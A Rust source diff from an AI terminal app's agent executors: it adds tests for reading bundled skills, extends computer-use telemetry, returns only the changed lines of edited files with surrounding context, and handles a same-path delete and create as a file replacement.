requires_result: false,
|
||||
};
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
};
|
||||
|
||||
executor_handle.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
match result {
|
||||
AnyActionExecution::Sync(AIAgentActionResultType::ReadSkill(
|
||||
ReadSkillResult::Success { content },
|
||||
)) => {
|
||||
assert_eq!(
|
||||
content.file_name,
|
||||
"/opt/warp/resources/bundled/skills/host-specific/SKILL.md"
|
||||
);
|
||||
assert_eq!(
|
||||
content.content,
|
||||
AnyFileContent::StringContent("remote rendered content".to_string())
|
||||
);
|
||||
}
|
||||
_ => panic!("Remote session should read its host-specific bundled skill"),
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_read_skill_executor_reads_enabled_bundled_skill() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let _bundled_skills = FeatureFlag::BundledSkills.override_enabled(true);
|
||||
SkillManager::handle(&app).update(&mut app, |manager, _ctx| {
|
||||
manager.add_bundled_skill_for_testing(
|
||||
"pr-comments",
|
||||
bundled_skill("pr-comments"),
|
||||
BundledSkillActivation::Always,
|
||||
);
|
||||
});
|
||||
let executor_handle = add_test_read_skill_executor(&mut app);
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::BundledSkillId("pr-comments".to_string()),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
requires_result: false,
|
||||
};
|
||||
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
};
|
||||
|
||||
executor_handle.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
|
||||
match result {
|
||||
AnyActionExecution::Sync(AIAgentActionResultType::ReadSkill(
|
||||
ReadSkillResult::Success { content },
|
||||
)) => {
|
||||
assert_eq!(content.file_name, "/bundled/skills/pr-comments/SKILL.md");
|
||||
}
|
||||
_ => panic!("Enabled bundled skill should return ReadSkillResult::Success"),
|
||||
}
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_read_skill_executor_rejects_warp_control_bundled_skills_when_disabled() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let _bundled_skills = FeatureFlag::BundledSkills.override_enabled(true);
|
||||
let _warp_control_cli = FeatureFlag::WarpControlCli.override_enabled(false);
|
||||
let skill_id = "warpctrl";
|
||||
SkillManager::handle(&app).update(&mut app, |manager, _ctx| {
|
||||
manager.add_bundled_skill_for_testing(
|
||||
skill_id,
|
||||
bundled_skill(skill_id),
|
||||
BundledSkillActivation::RequiresFeature(FeatureFlag::WarpControlCli),
|
||||
);
|
||||
});
|
||||
let executor_handle = add_test_read_skill_executor(&mut app);
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from(format!("test-action-id-{skill_id}")),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::BundledSkillId(skill_id.to_string()),
|
||||
}),
|
||||
task_id: TaskId::new(format!("test-task-id-{skill_id}")),
|
||||
requires_result: false,
|
||||
};
|
||||
|
||||
let input = ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: AIConversationId::new(),
|
||||
};
|
||||
|
||||
executor_handle.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor.execute(input, ctx).into();
|
||||
assert!(matches!(
|
||||
result,
|
||||
AnyActionExecution::Sync(AIAgentActionResultType::ReadSkill(
|
||||
ReadSkillResult::Error(_)
|
||||
))
|
||||
));
|
||||
});
|
||||
});
|
||||
}
|
||||
#[test]
|
||||
fn test_read_skill_executor_file_not_found() {
|
||||
let temp_dir = TempDir::new().unwrap();
|
||||
@@ -107,12 +377,12 @@ fn test_read_skill_executor_file_not_found() {
|
||||
|
||||
App::test((), |mut app| async move {
|
||||
initialize_app(&mut app);
|
||||
let executor_handle = app.add_model(|_| ReadSkillExecutor::new());
|
||||
let executor_handle = add_test_read_skill_executor(&mut app);
|
||||
|
||||
let action = AIAgentAction {
|
||||
id: AIAgentActionId::from("test-action-id".to_string()),
|
||||
action: AIAgentActionType::ReadSkill(ReadSkillRequest {
|
||||
skill: SkillReference::Path(skill_path),
|
||||
skill: SkillReference::Path(LocalOrRemotePath::Local(skill_path)),
|
||||
}),
|
||||
task_id: TaskId::new("test-task-id".to_string()),
|
||||
requires_result: false,
|
||||
|
||||
@@ -1,16 +1,18 @@
|
||||
use std::collections::HashSet;
|
||||
|
||||
use ai::agent::action_result::{AIAgentActionResultType, RequestComputerUseResult};
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{AIAgentActionId, AIAgentActionType};
|
||||
use crate::ai::ambient_agents::AmbientAgentTaskId;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::features::FeatureFlag;
|
||||
use crate::send_telemetry_from_ctx;
|
||||
use crate::server::telemetry::TelemetryEvent;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
|
||||
pub struct RequestComputerUseExecutor {
|
||||
terminal_view_id: EntityId,
|
||||
ambient_agent_task_id: Option<AmbientAgentTaskId>,
|
||||
@@ -70,9 +72,14 @@ impl RequestComputerUseExecutor {
|
||||
|
||||
// If we're executing, that implies that computer use has been approved.
|
||||
let is_autoexecuted = self.autoexecuted_actions.remove(&action.id);
|
||||
let server_conversation_id = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
.conversation(&conversation_id)
|
||||
.and_then(|c| c.server_conversation_token())
|
||||
.map(|t| t.as_str().to_string());
|
||||
send_telemetry_from_ctx!(
|
||||
TelemetryEvent::ComputerUseApproved {
|
||||
conversation_id,
|
||||
client_conversation_id: conversation_id,
|
||||
server_conversation_id,
|
||||
is_autoexecuted,
|
||||
ambient_agent_task_id: self.ambient_agent_task_id,
|
||||
},
|
||||
@@ -82,10 +89,20 @@ impl RequestComputerUseExecutor {
|
||||
let screenshot_params = request.screenshot_params;
|
||||
let mut actor = computer_use::create_actor();
|
||||
let platform = actor.platform();
|
||||
// Gate per-window targeting behind the client feature flag. When off, the actor forces the
|
||||
// legacy full-screen path so results are identical to the pre-existing implementation. The
|
||||
// OS-capability check is folded into the request setting rather than reported in the result.
|
||||
let background_enabled = FeatureFlag::BackgroundComputerUse.is_enabled();
|
||||
ActionExecution::Async {
|
||||
execute_future: Box::pin(async move {
|
||||
let result = actor
|
||||
.perform_actions(&[], computer_use::Options { screenshot_params })
|
||||
.perform_actions(
|
||||
&[],
|
||||
computer_use::Options {
|
||||
screenshot_params,
|
||||
background_enabled,
|
||||
},
|
||||
)
|
||||
.await;
|
||||
(result, platform)
|
||||
}),
|
||||
@@ -93,6 +110,7 @@ impl RequestComputerUseExecutor {
|
||||
(
|
||||
Ok(computer_use::ActionResult {
|
||||
screenshot: Some(screenshot),
|
||||
windows,
|
||||
..
|
||||
}),
|
||||
Some(platform),
|
||||
@@ -100,6 +118,7 @@ impl RequestComputerUseExecutor {
|
||||
RequestComputerUseResult::Approved {
|
||||
screenshot,
|
||||
platform,
|
||||
windows,
|
||||
},
|
||||
),
|
||||
(
|
||||
|
||||
@@ -2,22 +2,17 @@ mod apply_diff_model;
|
||||
mod diff_application;
|
||||
mod telemetry;
|
||||
|
||||
use galaxy_util::file::FileSaveError;
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
|
||||
use ai::diff_validation::AIRequestedCodeDiff;
|
||||
use futures::{channel::oneshot, future::BoxFuture, FutureExt};
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity as _, ViewHandle};
|
||||
use itertools::Itertools;
|
||||
use vec1::{vec1, Vec1};
|
||||
|
||||
use apply_diff_model::ApplyDiffModel;
|
||||
pub(crate) use diff_application::apply_edits;
|
||||
use diff_application::DiffApplicationError;
|
||||
pub(crate) use diff_application::FileReadResult;
|
||||
pub(crate) use diff_application::{apply_edits, FileReadResult};
|
||||
use futures::channel::oneshot;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use itertools::Itertools;
|
||||
pub(crate) use telemetry::MalformedFinalLineProxyEvent;
|
||||
#[allow(unused_imports)]
|
||||
pub use telemetry::{EditAcceptAndContinueClickedEvent, EditAcceptClickedEvent};
|
||||
@@ -25,28 +20,27 @@ pub use telemetry::{
|
||||
EditReceivedEvent, EditResolvedEvent, EditStats, RequestFileEditsFormatKind,
|
||||
RequestFileEditsTelemetryEvent,
|
||||
};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionId,
|
||||
AIAgentActionResultType, AIAgentActionType, AIAgentOutputMessage,
|
||||
AIAgentOutputMessageType, AIIdentifiers, RequestFileEditsResult, UpdatedFileContext,
|
||||
},
|
||||
blocklist::{
|
||||
inline_action::code_diff_view::{
|
||||
CodeDiffView, CodeDiffViewEvent, DiffSessionType, FileDiff,
|
||||
},
|
||||
BlocklistAIPermissions, RequestedEditResolution,
|
||||
},
|
||||
paths::host_native_absolute_path,
|
||||
},
|
||||
safe_warn,
|
||||
terminal::model::session::{active_session::ActiveSession, SessionType},
|
||||
BlocklistAIHistoryModel,
|
||||
};
|
||||
use vec1::{vec1, Vec1};
|
||||
use galaxy_core::send_telemetry_from_ctx;
|
||||
use warp_util::file::FileSaveError;
|
||||
use warpui::{Entity, EntityId, ModelContext, ModelHandle, SingletonEntity as _, ViewHandle};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
AIAgentOutputMessage, AIAgentOutputMessageType, AIIdentifiers, AnyFileContent, FileContext,
|
||||
FileLocations, RequestFileEditsResult, UpdatedFileContext,
|
||||
};
|
||||
use crate::ai::blocklist::inline_action::code_diff_view::{
|
||||
CodeDiffView, CodeDiffViewEvent, DiffSessionType, FileDiff,
|
||||
};
|
||||
use crate::ai::blocklist::{BlocklistAIPermissions, RequestedEditResolution};
|
||||
use crate::ai::paths::host_native_absolute_path;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
use crate::terminal::model::session::SessionType;
|
||||
use crate::{safe_warn, BlocklistAIHistoryModel};
|
||||
const APPLY_DIFF_RESULT_CONTEXT_LINES: usize = 10;
|
||||
|
||||
pub struct RequestFileEditsExecutor {
|
||||
active_session: ModelHandle<ActiveSession>,
|
||||
@@ -183,7 +177,7 @@ impl RequestFileEditsExecutor {
|
||||
let (result_tx, result_rx) = oneshot::channel();
|
||||
let mut result_tx = Some(result_tx);
|
||||
|
||||
ctx.subscribe_to_view(diff_view, move |_me, event, ctx| match event {
|
||||
ctx.subscribe_to_view(diff_view, move |_me, _, event, ctx| match event {
|
||||
CodeDiffViewEvent::Rejected => {
|
||||
let Some(result_tx) = result_tx.take() else {
|
||||
return;
|
||||
@@ -238,35 +232,12 @@ impl RequestFileEditsExecutor {
|
||||
// This avoids re-reading files from disk or the remote server.
|
||||
let content_map: HashMap<String, String> = file_contents.iter().cloned().collect();
|
||||
|
||||
let mut file_edited_map = HashMap::new();
|
||||
for (file_location, was_edited) in updated_files.iter() {
|
||||
file_edited_map.insert(file_location.name.clone(), *was_edited);
|
||||
}
|
||||
|
||||
let _ = result_tx.send(RequestFileEditsResult::Success {
|
||||
diff: diff.unified_diff.clone(),
|
||||
updated_files: updated_files
|
||||
.iter()
|
||||
.map(|(file_location, was_edited)| {
|
||||
let content = content_map
|
||||
.get(&file_location.name)
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
let line_count = content.lines().count();
|
||||
UpdatedFileContext {
|
||||
was_edited_by_user: *was_edited,
|
||||
file_context: crate::ai::agent::FileContext {
|
||||
file_name: file_location.name.clone(),
|
||||
content: crate::ai::agent::AnyFileContent::StringContent(
|
||||
content,
|
||||
),
|
||||
line_range: None,
|
||||
last_modified: None,
|
||||
line_count,
|
||||
},
|
||||
}
|
||||
})
|
||||
.collect(),
|
||||
updated_files: updated_file_contexts_from_editor_buffers(
|
||||
updated_files,
|
||||
&content_map,
|
||||
),
|
||||
deleted_files: deleted_files.clone(),
|
||||
lines_added: diff.lines_added,
|
||||
lines_removed: diff.lines_removed,
|
||||
@@ -447,6 +418,76 @@ impl RequestFileEditsExecutor {
|
||||
}
|
||||
}
|
||||
|
||||
fn updated_file_contexts_from_editor_buffers(
|
||||
updated_files: &[(FileLocations, bool)],
|
||||
content_map: &HashMap<String, String>,
|
||||
) -> Vec<UpdatedFileContext> {
|
||||
updated_files
|
||||
.iter()
|
||||
.flat_map(|(file_location, was_edited)| {
|
||||
let content = content_map
|
||||
.get(&file_location.name)
|
||||
.cloned()
|
||||
.unwrap_or_default();
|
||||
let line_count = content.lines().count();
|
||||
|
||||
let mut file_location = file_location.clone();
|
||||
file_location.expand_surrounding_context(APPLY_DIFF_RESULT_CONTEXT_LINES);
|
||||
clamp_to_file_context_range_start(&mut file_location);
|
||||
|
||||
if file_location.lines.is_empty() {
|
||||
return vec![UpdatedFileContext {
|
||||
was_edited_by_user: *was_edited,
|
||||
file_context: FileContext {
|
||||
file_name: file_location.name,
|
||||
content: AnyFileContent::StringContent(content),
|
||||
line_range: None,
|
||||
last_modified: None,
|
||||
line_count,
|
||||
},
|
||||
}];
|
||||
}
|
||||
|
||||
let lines = content.lines().collect_vec();
|
||||
file_location
|
||||
.lines
|
||||
.into_iter()
|
||||
.map(|range| {
|
||||
let start = range.start.saturating_sub(1).min(lines.len());
|
||||
let end = range.end.saturating_sub(1).min(lines.len());
|
||||
let fragment = if start >= end {
|
||||
String::new()
|
||||
} else {
|
||||
lines[start..end].join("\n")
|
||||
};
|
||||
|
||||
UpdatedFileContext {
|
||||
was_edited_by_user: *was_edited,
|
||||
file_context: FileContext {
|
||||
file_name: file_location.name.clone(),
|
||||
content: AnyFileContent::StringContent(fragment),
|
||||
line_range: Some(range),
|
||||
last_modified: None,
|
||||
line_count,
|
||||
},
|
||||
}
|
||||
})
|
||||
.collect_vec()
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
fn clamp_to_file_context_range_start(file_location: &mut FileLocations) {
|
||||
for range in &mut file_location.lines {
|
||||
range.start = range.start.max(1);
|
||||
range.end = range.end.max(range.start);
|
||||
}
|
||||
}
|
||||
|
||||
impl Entity for RequestFileEditsExecutor {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "request_file_edits_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
@@ -14,13 +14,12 @@ use galaxyui::r#async::BoxFuture;
|
||||
use galaxyui::{Entity, ModelContext, ModelHandle, SingletonEntity as _};
|
||||
use vec1::Vec1;
|
||||
|
||||
use super::diff_application::{apply_edits, DiffApplicationError, FileReadResult};
|
||||
use crate::ai::agent::{AIIdentifiers, FileEdit};
|
||||
use crate::ai::blocklist::SessionContext;
|
||||
use crate::auth::AuthStateProvider;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
|
||||
use super::diff_application::{apply_edits, DiffApplicationError, FileReadResult};
|
||||
|
||||
/// Entity submodel that encapsulates filesystem access for diff application.
|
||||
///
|
||||
/// Held as a [`ModelHandle`] by the [`super::RequestFileEditsExecutor`].
|
||||
@@ -51,17 +50,15 @@ impl ApplyDiffModel {
|
||||
let auth_state = AuthStateProvider::as_ref(ctx).get().clone();
|
||||
let ai_identifiers = ai_identifiers.clone();
|
||||
|
||||
let remote_client = session_context.host_id().and_then(|host_id| {
|
||||
remote_server::manager::RemoteServerManager::as_ref(ctx)
|
||||
.client_for_host(host_id)
|
||||
.cloned()
|
||||
let host_request_handle = session_context.host_id().map(|host_id| {
|
||||
remote_server::manager::RemoteServerManager::as_ref(ctx).host_request_handle(host_id)
|
||||
});
|
||||
|
||||
let is_remote = session_context.is_remote();
|
||||
let fut = async move {
|
||||
if is_remote {
|
||||
match remote_client {
|
||||
Some(client) => {
|
||||
match host_request_handle {
|
||||
Some(handle) => {
|
||||
apply_edits(
|
||||
edits,
|
||||
&session_context,
|
||||
@@ -70,8 +67,8 @@ impl ApplyDiffModel {
|
||||
auth_state,
|
||||
passive_diff,
|
||||
|path| {
|
||||
let client = client.clone();
|
||||
async move { read_remote_file(&client, &path).await }
|
||||
let handle = &handle;
|
||||
async move { read_remote_file(handle, &path).await }
|
||||
},
|
||||
)
|
||||
.await
|
||||
@@ -109,7 +106,7 @@ impl ApplyDiffModel {
|
||||
const MAX_DIFF_READ_BYTES: u32 = 10_000_000;
|
||||
|
||||
async fn read_remote_file(
|
||||
client: &remote_server::client::RemoteServerClient,
|
||||
handle: &remote_server::manager::HostRequestHandle,
|
||||
path: &str,
|
||||
) -> FileReadResult {
|
||||
let request = remote_server::proto::ReadFileContextRequest {
|
||||
@@ -120,7 +117,7 @@ async fn read_remote_file(
|
||||
max_file_bytes: Some(MAX_DIFF_READ_BYTES),
|
||||
max_batch_bytes: None,
|
||||
};
|
||||
match client.read_file_context(request).await {
|
||||
match handle.read_file_context(request).await {
|
||||
Ok(response) => {
|
||||
if let Some(fc) = response.file_contexts.into_iter().next() {
|
||||
// A whole-file read that was truncated by the byte limit will
|
||||
|
||||
@@ -1,11 +1,10 @@
|
||||
//! Module containing helper code to apply suggested diffs from an LLM
|
||||
//! to a set of files on the user's filesystem.
|
||||
|
||||
use std::{
|
||||
collections::{hash_map::Entry, HashMap, HashSet},
|
||||
future::Future,
|
||||
sync::Arc,
|
||||
};
|
||||
use std::collections::hash_map::Entry;
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::future::Future;
|
||||
use std::sync::Arc;
|
||||
|
||||
use ai::diff_validation::{
|
||||
fuzzy_match_diffs, fuzzy_match_v4a_diffs, AIRequestedCodeDiff, DiffDelta, DiffMatchFailures,
|
||||
@@ -15,20 +14,15 @@ use galaxyui::r#async::executor::Background;
|
||||
use itertools::Itertools;
|
||||
use vec1::Vec1;
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{AIIdentifiers, FileEdit},
|
||||
blocklist::SessionContext,
|
||||
paths::host_native_absolute_path,
|
||||
},
|
||||
auth::auth_state::AuthState,
|
||||
safe_debug, safe_warn, send_telemetry_on_executor,
|
||||
};
|
||||
|
||||
use super::telemetry::{
|
||||
DiffInvalidFileEvent, DiffMatchFailedEvent, MissingLineNumbersEvent,
|
||||
RequestFileEditsTelemetryEvent,
|
||||
};
|
||||
use crate::ai::agent::{AIIdentifiers, FileEdit};
|
||||
use crate::ai::blocklist::SessionContext;
|
||||
use crate::ai::paths::host_native_absolute_path;
|
||||
use crate::auth::auth_state::AuthState;
|
||||
use crate::{safe_debug, safe_warn, send_telemetry_on_executor};
|
||||
|
||||
/// Result of reading a file from disk or a remote server.
|
||||
///
|
||||
@@ -355,6 +349,10 @@ where
|
||||
let v4a_files: HashSet<String> = v4a_deltas.keys().cloned().collect();
|
||||
let new_file_paths: HashSet<String> = new_files.keys().cloned().collect();
|
||||
let deleted_file_paths: HashSet<String> = deleted_files.iter().cloned().collect();
|
||||
let replacement_file_paths: HashSet<String> = new_file_paths
|
||||
.intersection(&deleted_file_paths)
|
||||
.cloned()
|
||||
.collect();
|
||||
|
||||
for (file_path, deltas) in search_replace_deltas {
|
||||
// If a file is also being explicitly created/deleted, skip applying edits to avoid
|
||||
@@ -391,12 +389,18 @@ where
|
||||
result
|
||||
.errors
|
||||
.push(DiffApplicationError::MultipleFileCreation { file });
|
||||
} else if replacement_file_paths.contains(&file) {
|
||||
apply_replace_file(file, content, session_context, read_file, &mut result).await;
|
||||
} else {
|
||||
apply_create_file(file, content, session_context, read_file, &mut result).await;
|
||||
}
|
||||
}
|
||||
|
||||
for file in deleted_files {
|
||||
if replacement_file_paths.contains(&file) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if new_file_paths.contains(&file)
|
||||
|| search_replace_files.contains(&file)
|
||||
|| v4a_files.contains(&file)
|
||||
@@ -413,6 +417,62 @@ where
|
||||
result
|
||||
}
|
||||
|
||||
async fn apply_replace_file<F, Fut>(
|
||||
file_path: String,
|
||||
content: String,
|
||||
session_context: &SessionContext,
|
||||
read_file: &F,
|
||||
result: &mut DiffResult,
|
||||
) where
|
||||
F: Fn(String) -> Fut,
|
||||
Fut: Future<Output = FileReadResult>,
|
||||
{
|
||||
let absolute_path = host_native_absolute_path(
|
||||
&file_path,
|
||||
session_context.shell(),
|
||||
session_context.current_working_directory(),
|
||||
);
|
||||
|
||||
match read_file(absolute_path.clone()).await {
|
||||
FileReadResult::Found(file_content) => {
|
||||
let num_lines = file_content.lines().count();
|
||||
let replacement_line_range = if num_lines == 0 {
|
||||
0..0
|
||||
} else {
|
||||
1..num_lines.saturating_add(1)
|
||||
};
|
||||
|
||||
result.diffs.push(AIRequestedCodeDiff {
|
||||
file_name: file_path,
|
||||
diff_type: DiffType::update(
|
||||
vec![DiffDelta {
|
||||
replacement_line_range,
|
||||
insertion: content,
|
||||
}],
|
||||
None,
|
||||
),
|
||||
failures: None,
|
||||
original_content: file_content,
|
||||
});
|
||||
}
|
||||
FileReadResult::NotFound => {
|
||||
result
|
||||
.errors
|
||||
.push(DiffApplicationError::MissingFile { file: file_path });
|
||||
}
|
||||
FileReadResult::ReadError(err) => {
|
||||
safe_warn!(
|
||||
safe: ("Unable to read file for Agent Code: {err}"),
|
||||
full: ("Unable to read file {absolute_path:?} for Agent Code: {err}")
|
||||
);
|
||||
result.errors.push(DiffApplicationError::ReadFailed {
|
||||
file: file_path,
|
||||
message: err,
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Converts a file-creation request into a diff.
|
||||
async fn apply_create_file<F, Fut>(
|
||||
file_path: String,
|
||||
|
||||
+119
-2
@@ -7,12 +7,11 @@ use galaxyui::App;
|
||||
use tempfile::NamedTempFile;
|
||||
use vec1::vec1;
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::{AIIdentifiers, FileEdit};
|
||||
use crate::ai::blocklist::SessionContext;
|
||||
use crate::auth::auth_state::AuthState;
|
||||
|
||||
use super::*;
|
||||
|
||||
fn update_deltas(diff: &AIRequestedCodeDiff) -> &[DiffDelta] {
|
||||
match &diff.diff_type {
|
||||
DiffType::Update { deltas, .. } => deltas,
|
||||
@@ -467,6 +466,124 @@ fn test_mixed_create_and_edit_for_same_path() {
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_delete_and_create_same_path_replaces_existing_file() {
|
||||
App::test((), |app| async move {
|
||||
let mut temp_file = NamedTempFile::new().expect("Failed to create temporary file");
|
||||
let file_path = temp_file.path().to_string_lossy().to_string();
|
||||
writeln!(&mut temp_file, "Old line one\nOld line two").unwrap();
|
||||
|
||||
let delete_edit = FileEdit::Delete {
|
||||
file: Some(file_path.clone()),
|
||||
};
|
||||
let create_edit = FileEdit::Create {
|
||||
file: Some(file_path.clone()),
|
||||
content: Some("New file content".to_string()),
|
||||
};
|
||||
|
||||
let result = apply_edits(
|
||||
vec![delete_edit, create_edit],
|
||||
&SessionContext::new_for_test(),
|
||||
&AIIdentifiers::default(),
|
||||
app.background_executor(),
|
||||
Arc::new(AuthState::new_for_test()),
|
||||
false,
|
||||
|path| async move { FileReadResult::from(std::fs::read_to_string(path)) },
|
||||
)
|
||||
.await;
|
||||
|
||||
assert!(result.is_ok(), "Expected Ok result but got: {result:?}");
|
||||
let diffs = result.unwrap();
|
||||
assert_eq!(diffs.len(), 1);
|
||||
assert_eq!(diffs[0].file_name, file_path);
|
||||
assert_eq!(diffs[0].original_content, "Old line one\nOld line two\n");
|
||||
|
||||
let deltas = update_deltas(&diffs[0]);
|
||||
assert_eq!(deltas.len(), 1);
|
||||
assert_eq!(deltas[0].replacement_line_range, 1..3);
|
||||
assert_eq!(deltas[0].insertion, "New file content");
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_create_then_delete_same_path_replaces_existing_file() {
|
||||
App::test((), |app| async move {
|
||||
let mut temp_file = NamedTempFile::new().expect("Failed to create temporary file");
|
||||
let file_path = temp_file.path().to_string_lossy().to_string();
|
||||
writeln!(&mut temp_file, "Old line one\nOld line two").unwrap();
|
||||
|
||||
let create_edit = FileEdit::Create {
|
||||
file: Some(file_path.clone()),
|
||||
content: Some("New file content".to_string()),
|
||||
};
|
||||
let delete_edit = FileEdit::Delete {
|
||||
file: Some(file_path.clone()),
|
||||
};
|
||||
|
||||
let result = apply_edits(
|
||||
vec![create_edit, delete_edit],
|
||||
&SessionContext::new_for_test(),
|
||||
&AIIdentifiers::default(),
|
||||
app.background_executor(),
|
||||
Arc::new(AuthState::new_for_test()),
|
||||
false,
|
||||
|path| async move { FileReadResult::from(std::fs::read_to_string(path)) },
|
||||
)
|
||||
.await;
|
||||
|
||||
assert!(result.is_ok(), "Expected Ok result but got: {result:?}");
|
||||
let diffs = result.unwrap();
|
||||
assert_eq!(diffs.len(), 1);
|
||||
assert_eq!(diffs[0].file_name, file_path);
|
||||
|
||||
let deltas = update_deltas(&diffs[0]);
|
||||
assert_eq!(deltas.len(), 1);
|
||||
assert_eq!(deltas[0].replacement_line_range, 1..3);
|
||||
assert_eq!(deltas[0].insertion, "New file content");
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_delete_create_and_edit_same_path_still_fails() {
|
||||
App::test((), |app| async move {
|
||||
let mut temp_file = NamedTempFile::new().expect("Failed to create temporary file");
|
||||
let file_path = temp_file.path().to_string_lossy().to_string();
|
||||
writeln!(&mut temp_file, "Existing content").unwrap();
|
||||
|
||||
let delete_edit = FileEdit::Delete {
|
||||
file: Some(file_path.clone()),
|
||||
};
|
||||
let create_edit = FileEdit::Create {
|
||||
file: Some(file_path.clone()),
|
||||
content: Some("New file content".to_string()),
|
||||
};
|
||||
let edit_diff = ParsedDiff::StrReplaceEdit {
|
||||
file: Some(file_path.clone()),
|
||||
search: Some("1|Existing content".to_string()),
|
||||
replace: Some("Modified content".to_string()),
|
||||
};
|
||||
|
||||
let result = apply_edits(
|
||||
vec![delete_edit, create_edit, FileEdit::Edit(edit_diff)],
|
||||
&SessionContext::new_for_test(),
|
||||
&AIIdentifiers::default(),
|
||||
app.background_executor(),
|
||||
Arc::new(AuthState::new_for_test()),
|
||||
false,
|
||||
|path| async move { FileReadResult::from(std::fs::read_to_string(path)) },
|
||||
)
|
||||
.await;
|
||||
|
||||
let errors = result.expect_err("Expected an error due to create/edit/delete same path");
|
||||
match &errors[..] {
|
||||
[DiffApplicationError::MultipleFileCreation { file }] => {
|
||||
assert_eq!(*file, file_path);
|
||||
}
|
||||
other => panic!("Expected a single MultipleFileCreation error, got {other:?}"),
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_create_edit_for_existing_file() {
|
||||
App::test((), |app| async move {
|
||||
|
||||
@@ -8,7 +8,8 @@ use serde::Serialize;
|
||||
use serde_json::json;
|
||||
use strum_macros::{EnumDiscriminants, EnumIter};
|
||||
|
||||
use crate::ai::{agent::AIIdentifiers, blocklist::RequestedEditResolution};
|
||||
use crate::ai::agent::AIIdentifiers;
|
||||
use crate::ai::blocklist::RequestedEditResolution;
|
||||
|
||||
/// Telemetry events associated with the `RequestFileEdits` AI agent action.
|
||||
#[derive(Serialize, Debug, EnumDiscriminants)]
|
||||
|
||||
@@ -0,0 +1,63 @@
|
||||
use std::collections::HashMap;
|
||||
|
||||
use ai::agent::action_result::AnyFileContent;
|
||||
use ai::agent::FileLocations;
|
||||
|
||||
use super::updated_file_contexts_from_editor_buffers;
|
||||
|
||||
#[test]
|
||||
fn updated_file_contexts_from_editor_buffers_returns_changed_lines_with_context() {
|
||||
let updated_files = vec![(
|
||||
FileLocations {
|
||||
name: "src/main.rs".to_string(),
|
||||
lines: std::iter::once(12..13).collect(),
|
||||
},
|
||||
true,
|
||||
)];
|
||||
let content = (1..=30)
|
||||
.map(|line| format!("line {line}"))
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n");
|
||||
let content_map = HashMap::from([("src/main.rs".to_string(), content)]);
|
||||
|
||||
let contexts = updated_file_contexts_from_editor_buffers(&updated_files, &content_map);
|
||||
|
||||
assert_eq!(contexts.len(), 1);
|
||||
assert!(contexts[0].was_edited_by_user);
|
||||
assert_eq!(contexts[0].file_context.file_name, "src/main.rs");
|
||||
assert_eq!(contexts[0].file_context.line_range, Some(2..23));
|
||||
assert_eq!(contexts[0].file_context.line_count, 30);
|
||||
assert_eq!(
|
||||
contexts[0].file_context.content,
|
||||
AnyFileContent::StringContent(
|
||||
(2..=22)
|
||||
.map(|line| format!("line {line}"))
|
||||
.collect::<Vec<_>>()
|
||||
.join("\n")
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn updated_file_contexts_from_editor_buffers_preserves_full_file_when_no_ranges() {
|
||||
let updated_files = vec![(
|
||||
FileLocations {
|
||||
name: "src/main.rs".to_string(),
|
||||
lines: vec![],
|
||||
},
